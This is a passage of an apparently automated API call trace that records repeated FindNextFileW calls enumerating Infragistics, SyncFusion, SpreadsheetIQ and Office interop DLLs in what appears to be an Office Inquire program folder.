nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Shared.v11.1.dll", cAlternateFileName="INC5E8~1.DLL")) returned 1 [0235.419] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c63313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c63313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x120ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.Misc.v11.1.dll", cAlternateFileName="IN2EFE~1.DLL")) returned 1 [0235.420] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd1050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.Misc.v8.1.dll", cAlternateFileName="INFRAG~2.DLL")) returned 1 [0235.420] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f5480d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f5480d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x218068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraChart.v11.1.Design.dll", cAlternateFileName="IN3F5C~1.DLL")) returned 1 [0235.420] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5fa5d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5fa5d2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5fa5d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20cac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraChart.v8.1.Design.dll", cAlternateFileName="INEBA1~1.DLL")) returned 1 [0235.421] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a77594, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a77594, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a77594, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b7068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinChart.v11.1.dll", cAlternateFileName="IN23A5~1.DLL")) returned 1 [0235.421] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e7d566, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7c068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinEditors.v11.1.dll", cAlternateFileName="IN7A94~1.DLL")) returned 1 [0235.421] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b0f72e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinEditors.v8.1.dll", cAlternateFileName="INFRAG~4.DLL")) returned 1 [0235.421] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fa0ca2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x232060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinGrid.v11.1.dll", cAlternateFileName="IN41D8~1.DLL")) returned 1 [0235.422] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ab1579, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ab1579, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinGrid.v8.1.dll", cAlternateFileName="IN06CE~1.DLL")) returned 1 [0235.422] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf158c060, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinStatusBar.v11.1.dll", cAlternateFileName="INFRAG~3.DLL")) returned 1 [0235.422] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf311d3eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf311d3eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf311d3eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x35068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinStatusBar.v8.1.dll", cAlternateFileName="INA095~1.DLL")) returned 1 [0235.422] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinTabControl.v11.1.dll", cAlternateFileName="IN1488~1.DLL")) returned 1 [0235.422] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinTabControl.v8.1.dll", cAlternateFileName="INFRAG~1.DLL")) returned 1 [0235.422] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1698075, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1698075, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a0ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinToolbars.v11.1.dll", cAlternateFileName="IN732F~1.DLL")) returned 1 [0235.422] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf53f9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf53f9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb43ee0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x269068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinToolbars.v8.1.dll", cAlternateFileName="IN58F0~1.DLL")) returned 1 [0235.423] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinTree.v11.1.dll", cAlternateFileName="INC660~1.DLL")) returned 1 [0235.423] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f0835f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f0835f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.UltraWinTree.v8.1.dll", cAlternateFileName="IN3A49~1.DLL")) returned 1 [0235.424] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7b14e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7b14e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b8048, dwReserved0=0x0, dwReserved1=0x0, cFileName="Infragistics2.Win.v11.1.dll", cAlternateFileName="IN9B72~1.DLL")) returned 1 [0235.424] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inquire.dll", cAlternateFileName="")) returned 1 [0235.424] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Access.dao.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0235.424] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d0c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Access.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0235.424] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc6b9190, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc6b9190, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc6b9190, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x199a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Excel.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0235.424] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6297232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6297232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6297232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd248, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Vbe.Interop.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0235.424] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xec8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSVCR110.DLL", cAlternateFileName="")) returned 1 [0235.424] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb86af90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb86af90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8b74ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeShim.dll", cAlternateFileName="NATIVE~2.DLL")) returned 1 [0235.425] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9bf4d66, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9bf4d66, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeShim.Resources.dll", cAlternateFileName="NATIVE~1.DLL")) returned 1 [0235.425] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb713a45, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb713a45, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb78613f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9aaa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Northwoods.Go.dll", cAlternateFileName="NORTHW~1.DLL")) returned 1 [0235.425] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a2a905, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a2a905, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="office.dll", cAlternateFileName="")) returned 1 [0235.426] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5ad77c9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPREADSHEETCOMPARE.EXE", cAlternateFileName="SPREAD~1.EXE")) returned 1 [0235.426] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5127e7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5127e7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5127e7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetIQ.Diagram.dll", cAlternateFileName="SPREAD~3.DLL")) returned 1 [0235.426] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c66c57, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c66c57, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1332c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetIQ.ExcelAddIn.dll", cAlternateFileName="SPREAD~1.DLL")) returned 1 [0235.426] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x40ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetIQ.ExcelServices.dll", cAlternateFileName="SPREAD~2.DLL")) returned 1 [0235.427] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf64139b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf64139b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 1 [0235.427] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11058, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Compression.Base.dll", cAlternateFileName="SY9561~1.DLL")) returned 1 [0235.427] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Core.dll", cAlternateFileName="SYNCFU~3.DLL")) returned 1 [0235.427] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6048, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Grid.Base.dll", cAlternateFileName="SYNCFU~4.DLL")) returned 1 [0235.427] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6058, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Grid.Grouping.Base.dll", cAlternateFileName="SYC536~1.DLL")) returned 1 [0235.427] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf07af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf07af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd0060, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Grid.Grouping.Windows.dll", cAlternateFileName="SYAFCD~1.DLL")) returned 1 [0235.427] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e572fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e572fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e7d566, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Grid.Windows.dll", cAlternateFileName="SY9D98~1.DLL")) returned 1 [0235.428] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cd4a32, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cd4a32, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cfac8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x88050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Grouping.Base.dll", cAlternateFileName="SYNCFU~2.DLL")) returned 1 [0235.428] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x374048, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Shared.Base.dll", cAlternateFileName="SYNCFU~1.DLL")) returned 1 [0235.428] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75a8fbb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Shared.Windows.dll", cAlternateFileName="SY87B2~1.DLL")) returned 1 [0235.428] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b529d9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6048, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Tools.Base.dll", cAlternateFileName="SY4996~1.DLL")) returned 1 [0235.428] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, 